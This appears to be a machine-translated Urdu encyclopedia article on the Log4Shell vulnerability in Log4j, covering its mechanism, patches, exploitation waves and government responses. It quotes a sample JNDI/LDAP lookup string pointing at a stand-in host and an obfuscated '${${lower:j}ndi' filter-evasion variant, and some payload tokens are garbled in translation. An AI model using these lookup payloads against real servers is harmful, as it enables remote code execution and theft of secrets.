Log4Shell
لاگ 4 شیل (CVE-2021-44228) لاگ 4 جے میں ایک صفر دن کی کمزوری ہے، جو ایک مشہور جاوا لاگنگ فریم ورک ہے، جس میں صوابدیدی کوڈ پر عمل درآمد شامل ہے۔ یہ کمزوری 2013 سے کسی کا دھیان نہیں گئی تھی اور نجی طور پر اپاچی سافٹ ویئر فاؤنڈیشن کو انکشاف کیا گیا تھا، جس میں لاگ 4 جے ایک پروجیکٹ ہے، علی بابا کلاؤڈ کی سیکیورٹی ٹیم کے چن زاؤجن نے 24 نومبر 2021 کو۔ 10 دسمبر 2021 کو ایک سرکاری سی وی ای شناخت کار دستیاب ہونے سے پہلے، یہ کمزوری "لاگ 4 شیل" کے نام سے پھیل گئی، جو کہ لونا سیک ٹیم کے فری ورٹلی نے دی تھی، جسے ابتدائی طور پر اس مسئلے کو آن لائن ٹریک کرنے کے لیے استعمال کیا گیا تھا۔ اپاچی نے لاگ فور شیل کو 10 کی سی وی ایس ایس شدت کی درجہ بندی دی، جو سب سے زیادہ دستیاب اسکور ہے۔ اس استحصال کو انجام دینا آسان تھا اور اندازہ لگایا گیا ہے کہ اس میں سیکڑوں لاکھوں آلات کو متاثر کرنے کی صلاحیت تھی۔ کمزوری لاگ 4 جے کے صوابدیدی ایل ڈی اے پی اور جے این ڈی آئی سرورز کو درخواستوں کی اجازت دینے کا فائدہ اٹھاتی ہے، جس سے حملہ آوروں کو سرور یا دوسرے کمپیوٹر پر صوابدیدی جاوا کوڈ پر عمل درآمد کرنے کی اجازت ملتی ہے، یا حساس معلومات لیک ہوتی ہیں۔ اپاچی سیکیورٹی ٹیم نے اس کے متاثرہ سافٹ ویئر منصوبوں کی ایک فہرست شائع کی ہے۔ متاثرہ تجارتی خدمات میں ایمیزون ویب سروسز، کلاؤڈ فلیئر، آئی کلاؤڈ، مائن کرافٹ: جاوا ایڈیشن، اسٹیم، ٹینسنٹ کیو کیو اور بہت سی دیگر شامل ہیں۔ وز اور ای وائی کے مطابق، کمزوری نے 93 ٪ انٹرپرائز کلاؤڈ ماحول کو متاثر کیا۔ کمزوری کے انکشاف کو سائبر سیکیورٹی کے ماہرین کی طرف سے سخت ردعمل ملا۔ سائبرسیکیوریٹی کمپنی ٹینیبل نے کہا کہ یہ استحصال "اب تک کا سب سے بڑا، سب سے اہم خطرہ" تھا، آرس ٹیکنیکا نے اسے "بلاشبہ اب تک کا سب سے شدید خطرہ" قرار دیا اور دی واشنگٹن پوسٹ نے کہا کہ حفاظتی پیشہ ور افراد کی طرف سے دی گئی وضاحتیں "تباہی کی سرحد" پر ہیں۔ بیک گراؤنڈ لاگ 4 جے ایک اوپن سورس لاگنگ فریم ورک ہے جو سافٹ ویئر ڈویلپرز کو اپنی ایپلی کیشنز کے اندر ڈیٹا لاگ کرنے کی اجازت دیتا ہے۔ اس ڈیٹا میں صارف کا ان پٹ شامل ہو سکتا ہے۔ یہ جاوا ایپلی کیشنز، خاص طور پر انٹرپرائز سافٹ ویئر میں ہر جگہ استعمال ہوتا ہے۔ اصل میں 2001 میں سیکی گلکی کے ذریعہ لکھا گیا، یہ اب اپاچی لاگنگ سروسز کا حصہ ہے، جو اپاچی سافٹ ویئر فاؤنڈیشن کا ایک منصوبہ ہے۔ صدر اوباما کے کمیشن برائے سائبر سیکیورٹی کے ایک رکن، ٹام کیلر مین نے اپاچی کو "ایک پل کے دیوہیکل معاونین میں سے ایک قرار دیا جو ایپلی کیشنز اور کمپیوٹر کے ماحول کی دنیا کے درمیان مربوط ٹشو کو آسان بناتا ہے"۔ جاوا نیمنگ اینڈ ڈائرکٹری انٹرفیس (جے این ڈی آئی) پروگرام رن ٹائم پر جاوا آبجیکٹ کی تلاش کی اجازت دیتا ہے جس میں ان کے ڈیٹا کو راستہ دیا جاتا ہے۔ جے این ڈی آئی کئی ڈائرکٹری انٹرفیس کا فائدہ اٹھا سکتا ہے، ہر ایک فائلوں کو تلاش کرنے کی ایک مختلف اسکیم فراہم کرتا ہے۔ ان انٹرفیس میں لائٹ ویٹ ڈائرکٹری ایکسیس پروٹوکول (ایل ڈی اے پی)، ایک غیر جاوا مخصوص پروٹوکول ہے جو آبجیکٹ ڈیٹا کو یو آر ایل کے طور پر کسی مناسب سرور سے، مقامی یا انٹرنیٹ پر کہیں بھی حاصل کرتا ہے۔ ڈیفالٹ کنفیگریشن میں، سٹرنگ لاگ ان کرتے وقت، لاگ 4 جے 2 فارم ${پریفیکس: نام} کے تاثرات پر سٹرنگ متبادل انجام دیتا ہے۔ مثال کے طور پر، متن: ${جاوا: ورژن} کو متن: جاوا ورژن 1.7.0_67 میں تبدیل کیا جا سکتا ہے۔ تسلیم شدہ تاثرات میں سے ایک ہے ${jndi: <तेट>} ؛ ایل ڈی اے پی کے ذریعے ہونے والی تلاش کی وضاحت کرکے، ایک من مانی یو آر ایل سے پوچھ گچھ کی جا سکتی ہے اور اسے جاوا آبجیکٹ ڈیٹا کے طور پر لوڈ کیا جا سکتا ہے۔ مثال کے طور پر، ${jndi: ldap:// مثال. com/فائل}، اگر انٹرنیٹ سے منسلک ہے تو اس یو آر ایل سے ڈیٹا لوڈ کرے گا۔ لاگ ان کردہ سٹرنگ ڈال کر، حملہ آور عوامی یو آر ایل پر ہوسٹ کردہ بدنیتی پر مبنی کوڈ کو لوڈ اور اس پر عمل درآمد کر سکتا ہے۔ یہاں تک کہ اگر ڈیٹا پر عمل درآمد غیر فعال ہے، تب بھی حملہ آور ڈیٹا کو دوبارہ حاصل کر سکتا ہے-جیسے کہ خفیہ ماحولیاتی متغیرات-انہیں یو آر ایل میں رکھ کر، ایسی صورت میں انہیں تبدیل کر کے حملہ آور کے سرور پر بھیج دیا جائے گا۔ ایل ڈی اے پی کے علاوہ، دیگر ممکنہ طور پر قابل استعمال جے این ڈی آئی تلاش پروٹوکول میں اس کا محفوظ ورژن ایل ڈی اے پی ایس، جاوا ریموٹ میتھڈ انوکیشن (آر ایم آئی)، ڈومین نیم سسٹم (ڈی این ایس)، اور انٹرنیٹ انٹر-او آر بی پروٹوکول (آئی آئی او پی) شامل ہیں۔ چونکہ ایچ ٹی ٹی پی کی درخواستیں اکثر لاگ ان ہوتی ہیں، اس لیے ایک عام حملہ ویکٹر ایچ ٹی ٹی پی کی درخواست کے یو آر ایل یا عام طور پر لاگ ان ایچ ٹی ٹی پی ہیڈر، جیسے کہ یوزر ایجنٹ میں بدنیتی پر مبنی سٹرنگ ڈال رہا ہے۔ ابتدائی تخفیف میں ممکنہ طور پر بدنیتی پر مبنی مواد پر مشتمل کسی بھی درخواست کو روکنا شامل تھا، جیسے کہ ${jndi۔ اس طرح کے بنیادی سٹرنگ مماثل حلوں کو درخواست کو مبہم بنا کر روکا جا سکتا ہے: مثال کے طور پر، ${${lower: j} ndi کو حرف j پر چھوٹے حروف کا آپریشن کرنے کے بعد JNDI تلاش میں تبدیل کر دیا جائے گا۔ یہاں تک کہ اگر کوئی ان پٹ، جیسے کہ پہلا نام، فوری طور پر لاگ ان نہیں کیا جاتا ہے، تو اسے بعد میں اندرونی پروسیسنگ کے دوران لاگ ان کیا جا سکتا ہے اور اس کے مندرجات پر عمل درآمد کیا جا سکتا ہے۔ اس کمزوری کے لیے تخفیف اصلاحات 6 دسمبر 2021 کو، کمزوری شائع ہونے سے تین دن پہلے، لاگ 4 جے ورژن 2.15.0-rc1 میں جاری کی گئی تھیں۔ اس فکس میں سرورز اور پروٹوکول کو محدود کرنا شامل تھا جو تلاش کے لیے استعمال کیے جا سکتے ہیں۔ محققین نے ایک متعلقہ بگ، CVE-2021-45046 دریافت کیا، جو کچھ غیر ڈیفالٹ ترتیبات میں مقامی یا ریموٹ کوڈ پر عمل درآمد کی اجازت دیتا ہے اور اسے ورژن 2.16.0 میں طے کیا گیا تھا، جس نے JNDI اور پیغام کی تلاش کے لیے سپورٹ کا استعمال کرتے ہوئے تمام خصوصیات کو غیر فعال کر دیا۔ لائبریری میں دو اور کمزوریاں پائی گئیں: ایک سروس سے انکار کا حملہ، جسے CVE-2021-45105 کے طور پر ٹریک کیا گیا اور 2.17.0 میں طے کیا گیا ؛ اور ایک مشکل سے استحصال کرنے والا ریموٹ کوڈ پر عمل درآمد کا خطرہ، جسے CVE-2021-44832 کے طور پر ٹریک کیا گیا اور 2.17.1 میں طے کیا گیا۔ پچھلے ورژن کے لیے، کلاس org.apache.logging.log4j.core.lookup.JndiLookup کو کلاس پاتھ سے ہٹانے کی ضرورت ہے تاکہ دونوں کمزوریوں کو کم کیا جا سکے۔ پرانے ورژن کے لیے ایک ابتدائی تجویز کردہ فکس سسٹم پراپرٹی log4j2.formatMsgNoLookups کو درست کرنا تھا، لیکن یہ تبدیلی CVE-2021-45046 کے استحصال کو نہیں روکتی اور بعد میں بعض صورتوں میں پیغام کی تلاش کو غیر فعال نہیں پایا گیا۔ جاوا رن ٹائم انوائرمنٹ (جے آر ای) کے نئے ورژن بھی ریموٹ کوڈ کو ڈیفالٹ طور پر لوڈ ہونے سے روک کر اس کمزوری کو کم کرتے ہیں، حالانکہ بعض ایپلی کیشنز میں دوسرے اٹیک ویکٹر اب بھی موجود ہیں۔ کئی طریقے اور ٹولز شائع کیے گئے ہیں جو تعمیر شدہ جاوا پیکجوں میں استعمال ہونے والے کمزور لاگ 4 جے ورژن کا پتہ لگانے میں مدد کرتے ہیں۔ جہاں تازہ ترین ورژن کا اطلاق ممکن نہیں رہا ہے، مختلف رکاوٹوں کی وجہ سے جیسے کہ وسائل کی کمی یا تھرڈ پارٹی کے زیر انتظام حل، کمزور تعیناتی سے آؤٹ باؤنڈ نیٹ ورک ٹریفک کو فلٹر کرنا بہت سے لوگوں کے لیے بنیادی سہارا رہا ہے۔ اس نقطہ نظر کی سفارش این سی سی گروپ اور نیشنل سائبر سیکیورٹی سینٹر (برطانیہ) نے کی ہے، اور یہ گہرائی میں دفاع کی ایک مثال ہے۔ اس طرح کی فلٹرنگ کی تاثیر کا ثبوت فائر والز کے ساتھ کیے گئے لیبارٹری کے تجربات سے ملتا ہے جو لائبریری اور جے آر ای کے کئی مکمل یا جزوی طور پر کمزور ورژن کے ساتھ اخراج ٹریفک کو روکنے کے قابل ہیں۔ استعمال استحصال ہیکرز کو جاوا کا استعمال کرتے ہوئے کمزور آلات کا کنٹرول حاصل کرنے کی اجازت دیتا ہے۔ کچھ ہیکرز متاثرین کے آلات کو کریپٹوکرنسی کان کنی، بوٹنیٹ بنانے، سپیم بھیجنے، بیک ڈور قائم کرنے اور رینسم ویئر حملوں جیسی دیگر غیر قانونی سرگرمیوں کے لیے استعمال کرنے کے لیے کمزوری کو استعمال کرتے ہیں۔ کمزوری کے انکشاف کے بعد کے دنوں میں، چیک پوائنٹ نے ہیکرز کی طرف سے شروع کیے جانے والے لاکھوں حملوں کا مشاہدہ کیا، کچھ محققین نے فی منٹ سو سے زیادہ حملوں کی شرح کا مشاہدہ کیا جس کے نتیجے میں بالآخر بین الاقوامی سطح پر 40 فیصد سے زیادہ کاروباری نیٹ ورکس پر حملوں کی کوشش کی گئی۔ کلاؤڈ فلایر کے سی ای او میتھیو پرنس کے مطابق، استحصال کے استعمال یا جانچ کے ثبوت یکم دسمبر کے اوائل میں، اس کے عوامی طور پر ظاہر ہونے سے نو دن پہلے ہی ملتے ہیں۔ سائبرسیکیوریٹی فرم گرے نوائس کے مطابق، کئی آئی پی پتے ویب سائٹس کو سکریپ کر رہے تھے تاکہ ان سرورز کی جانچ پڑتال کی جا سکے جن میں کمزوری تھی۔ کئی بوٹنیٹس نے اس کمزوری کے لیے اسکیننگ شروع کر دی، بشمول 10 دسمبر تک محسٹک بوٹنیٹ کے ساتھ ساتھ میرائی اور سونامی۔ رینسم ویئر گروپ کونٹی کو 17 دسمبر کو اس کمزوری کا استعمال کرتے ہوئے دیکھا گیا۔ چیک پوائنٹ کے مطابق چین اور ایران میں کچھ ریاستی سرپرستی والے گروہوں نے بھی اس استحصال کو استعمال کیا، لیکن یہ معلوم نہیں ہے کہ اس استحصال کو اسرائیل، روس یا امریکہ نے خطرے کے انکشاف سے پہلے استعمال کیا تھا یا نہیں۔ چیک پوائنٹ نے کہا کہ 15 دسمبر 2021 کو ایران کی حمایت یافتہ ہیکرز نے اسرائیلی کاروباروں اور سرکاری اداروں کے نیٹ ورک میں دراندازی کرنے کی کوشش کی۔ جواب اور اثر گورنمنٹ ریاستہائے متحدہ میں، سائبرسیکیوریٹی اینڈ انفراسٹرکچر سیکیورٹی ایجنسی (سی آئی ایس اے) کے ڈائریکٹر، جین ایسٹرلی نے اس استحصال کو "میں نے اپنے پورے کیریئر میں دیکھا ہے کہ سب سے زیادہ سنگین میں سے ایک، اگر سب سے زیادہ سنگین نہیں ہے" کے طور پر بیان کیا، وضاحت کرتے ہوئے کہ سیکڑوں لاکھوں ڈیوائسز متاثر ہوئے تھے اور دکانداروں کو سافٹ ویئر اپ ڈیٹس کو ترجیح دینے کا مشورہ دیا۔ امریکی حکومت کی طرف سے معاہدہ کردہ شہری ایجنسیوں کے پاس کمزوریوں کو دور کرنے کے لیے 24 دسمبر 2021 تک کا وقت تھا۔ 4 جنوری کو، فیڈرل ٹریڈ کمیشن (ایف ٹی سی) نے ان کمپنیوں کا تعاقب کرنے کا ارادہ ظاہر کیا جو استعمال شدہ لاگ 4 جے سافٹ ویئر کو اپ ڈیٹ کرنے کے لیے معقول اقدامات کرنے میں ناکام رہتی ہیں۔ وائٹ ہاؤس کے ایک اجلاس میں، قومی سلامتی کے لیے اوپن سورس سافٹ ویئر کی حفاظتی دیکھ بھال کی اہمیت-جو اکثر چند رضاکاروں کے ذریعے بھی کی جاتی ہے-کو واضح کیا گیا۔ اگرچہ کچھ اوپن سورس منصوبوں کی بہت سی نگاہیں ان پر ہوتی ہیں، دوسروں کے پاس بہت سے یا کوئی لوگ نہیں ہوتے ہیں جو ان کی حفاظت کو یقینی بناتے ہیں۔ جرمنی کے بنڈسامٹ فر سیچرہیٹ ان ڈیر انفارمیشن ٹیکنیک (بی ایس آئی) نے اس استحصال کو ایجنسی کی سب سے زیادہ خطرے کی سطح قرار دیتے ہوئے اسے "انتہائی نازک خطرے کی صورتحال" (ترجمہ شدہ) قرار دیا۔ اس نے یہ بھی اطلاع دی کہ کئی حملے پہلے ہی کامیاب ہو چکے ہیں اور استحصال کی حد کا اندازہ لگانا مشکل ہے۔ نیدرلینڈز کے نیشنل سائبر سیکیورٹی سینٹر (این سی ایس سی) نے کمزور ایپلی کیشنز کی جاری فہرست شروع کی۔ کینیڈین سینٹر فار سائبر سیکیورٹی (سی سی سی ایس) نے تنظیموں سے فوری کارروائی کرنے کا مطالبہ کیا۔ کینیڈا ریونیو ایجنسی نے استحصال کے بارے میں جاننے کے بعد اپنی آن لائن خدمات کو عارضی طور پر بند کر دیا، جبکہ کیوبیک کی حکومت نے "احتیاطی اقدام" کے طور پر اپنی تقریبا 4,000 ویب سائٹس کو بند کر دیا۔ بیلجیئم کی وزارت دفاع کو خلاف ورزی کی کوشش کا سامنا کرنا پڑا اور وہ اپنے نیٹ ورک کے کچھ حصے کو بند کرنے پر مجبور ہوگئی۔ چینی وزارت صنعت اور انفارمیشن ٹیکنالوجی نے پہلے حکومت کو خطرے کی اطلاع دینے میں ناکامی پر سائبر سیکیورٹی کے خطرے سے متعلق انٹیلی جنس پارٹنر کے طور پر علی بابا کلاؤڈ کے ساتھ کام چھ ماہ کے لیے معطل کر دیا۔ وز اور ای وائی کے ذریعہ کی گئی بزنس ریسرچ سے پتہ چلتا ہے کہ کلاؤڈ انٹرپرائز کا 93 فیصد ماحول لاگ 4 شیل کا شکار تھا۔ 7 ٪ کمزور کام کا بوجھ انٹرنیٹ سے بے نقاب ہوتا ہے اور استحصال کی وسیع کوششوں کا شکار ہوتا ہے۔ تحقیق کے مطابق، کمزوری کے انکشاف کے دس دن بعد (20 دسمبر 2021) کلاؤڈ ماحول میں اوسطا صرف 45 فیصد کمزور کام کے بوجھ کو کم کیا گیا۔ لاگ فور شیل سے ایمیزون، گوگل اور مائیکروسافٹ کلاؤڈ ڈیٹا متاثر ہوا۔ مائیکروسافٹ نے ونڈوز اور ایزور کے صارفین سے کہا کہ وہ دسمبر 2021 تک لاگ 4 جے 'لاگ 4 شیل' کی خرابی کے نظام کی تحقیقات کرنے والے ریاستی سرپرستی والے اور سائبر مجرم حملہ آوروں کا مشاہدہ کرنے کے بعد چوکس رہیں۔ انسانی وسائل کے انتظام اور افرادی قوت کے انتظام کی کمپنی یو کے جی، جو صنعت کے سب سے بڑے کاروباروں میں سے ایک ہے، کو رینسم ویئر حملے کا نشانہ بنایا گیا جس نے بڑے کاروباروں کو متاثر کیا۔ یو کے جی نے کہا کہ اس کے پاس اس واقعے میں لاگ فور شیل کے استحصال کا کوئی ثبوت نہیں ہے، حالانکہ سائبر سیکیورٹی کمپنی ریکارڈڈ فیوچر کے تجزیہ کار ایلن لیسکا نے کہا کہ ممکنہ طور پر اس کا کوئی تعلق تھا۔ جیسے جیسے بڑی کمپنیوں نے استحصال کے لیے پیچ جاری کرنا شروع کیے، چھوٹے کاروباروں کے لیے خطرہ بڑھ گیا کیونکہ ہیکرز نے زیادہ کمزور اہداف پر توجہ مرکوز کی۔ پرائیویسی انٹرنیٹ سے منسلک کچھ ذاتی آلات، جیسے سمارٹ ٹی وی اور سیکیورٹی کیمرے، استحصال کا شکار تھے۔ مینوفیکچرر سپورٹ بند ہونے کی وجہ سے کچھ سافٹ ویئر کو کبھی پیچ نہیں مل سکتا ہے۔ تجزیہ عالمی سطح پر تمام کارپوریٹ نیٹ ورکس میں سے تقریبا نصف کی فعال طور پر تحقیقات کی گئی ہیں، جس میں استحصال کی 60 سے زیادہ قسمیں 24 گھنٹوں کے اندر تیار کی گئی ہیں۔ چیک پوائنٹ سافٹ ویئر ٹیکنالوجیز نے ایک تفصیلی تجزیے میں صورتحال کو "ایک حقیقی سائبر وبائی بیماری" کے طور پر بیان کیا اور نقصان کے امکان کو "ناقابل حساب" قرار دیا۔ کئی ابتدائی مشوروں نے ان پیکجوں کی مقدار کو بڑھا چڑھا کر پیش کیا جو کمزور تھے، جس کی وجہ سے غلط مثبت تھے۔ خاص طور پر، "لاگ 4 جے-اے پی آئی" پیکیج کو کمزور کے طور پر نشان زد کیا گیا تھا، جبکہ حقیقت میں مزید تحقیق سے پتہ چلتا ہے کہ صرف مرکزی "لاگ 4 جے-کور" پیکیج کمزور تھا۔ اس کی تصدیق اصل ایشو تھریڈ اور بیرونی سیکیورٹی محققین دونوں نے کی تھی۔ ٹیکنالوجی میگزین وائرڈ نے لکھا ہے کہ متعدد کمزوریوں کے ارد گرد پچھلے "ہائپ" کے باوجود، "لاگ 4 جے کمزوری. بہت سی وجوہات کی بناء پر ہائپ پر پورا اترتی ہے"۔ میگزین وضاحت کرتا ہے کہ لاگ 4 جے کی پھیلاؤ، ممکنہ اہداف کے ذریعے خطرے کا پتہ لگانا مشکل ہونا اور متاثرین کو کوڈ منتقل کرنے میں آسانی نے "شدت، سادگی اور پھیلاؤ کا مجموعہ پیدا کیا جس نے سیکیورٹی کمیونٹی کو پریشان کر دیا ہے"۔ وائرڈ نے لاگ فور شیل کا استعمال کرتے ہوئے ہیکرز کے مراحل کا بھی خاکہ پیش کیا۔ پہلے کمزوری کا استعمال کرتے ہوئے کرپٹو مائننگ گروپ، ڈیٹا بروکرز پھر سائبر مجرموں کو "قدم" بیچتے ہیں، جو آخر کار رینسم ویئر حملوں، جاسوسی اور ڈیٹا کو تباہ کرنے میں ملوث ہوتے ہیں۔ ٹینیبل کے سی ای او اور یونائیٹڈ سٹیٹس کمپیوٹر ایمرجنسی ریڈینیس ٹیم کے بانی ڈائریکٹر امیت یوران نے کہا کہ "[لاگ فور شیل] اب تک کی واحد سب سے بڑی، سب سے اہم کمزوری ہے"، اس بات کو نوٹ کرتے ہوئے کہ نفیس حملے بگ کے فورا بعد شروع ہو رہے تھے، یہ کہتے ہوئے کہ "ہم پہلے ہی اسے رینسم ویئر حملوں کے لیے استعمال ہوتے ہوئے دیکھ رہے ہیں، جو کہ ایک بار پھر خطرے کی گھنٹی ہونی چاہیے۔ ہم نے حملہ آوروں کے لاگ فور شیل کا استعمال کرتے ہوئے سسٹم کو تباہ کرنے کی اطلاعات بھی دیکھی ہیں یہاں تک کہ تاوان وصول کرنے کی کوشش کیے بغیر، جو کہ کافی غیر معمولی طرز عمل ہے۔" سوفوس کے سینئر خطرہ محقق شان گالاگر نے کہا، "سچ کہوں تو، یہاں سب سے بڑا خطرہ یہ ہے کہ لوگوں کو پہلے ہی رسائی حاصل ہو چکی ہے اور وہ صرف اس پر بیٹھے ہوئے ہیں، اور یہاں تک کہ اگر آپ اس مسئلے کو حل کرتے ہیں تو کوئی پہلے سے ہی نیٹ ورک میں ہے۔ یہ انٹرنیٹ تک رہنے والا ہے۔ " بلومبرگ نیوز کی ایک رپورٹ کے مطابق، اپاچی کے ڈویلپرز پر 2016 کی سائبر سیکیورٹی کانفرنس میں لاگ 4 جے سمیت سافٹ ویئر کے وسیع طبقات کے استحصال کے بارے میں انتباہات کے بعد کمزوری کو ٹھیک کرنے میں ناکامی پر کچھ غصہ ظاہر کیا گیا تھا۔ حوالہ جات بیرونی روابط لاگ 4 جے ویب سائٹ کامن ولنریبلٹیز اینڈ ایکسپوزرز پیج نیشنل ولنریبلٹیز ڈیٹا بیس پیج پروجیکٹس متاثر cve-2021-44228، بذریعہ اپاچی سیکیورٹی ٹیم 2021 انجیکشن کے کارناموں کی کمپیوٹنگ میں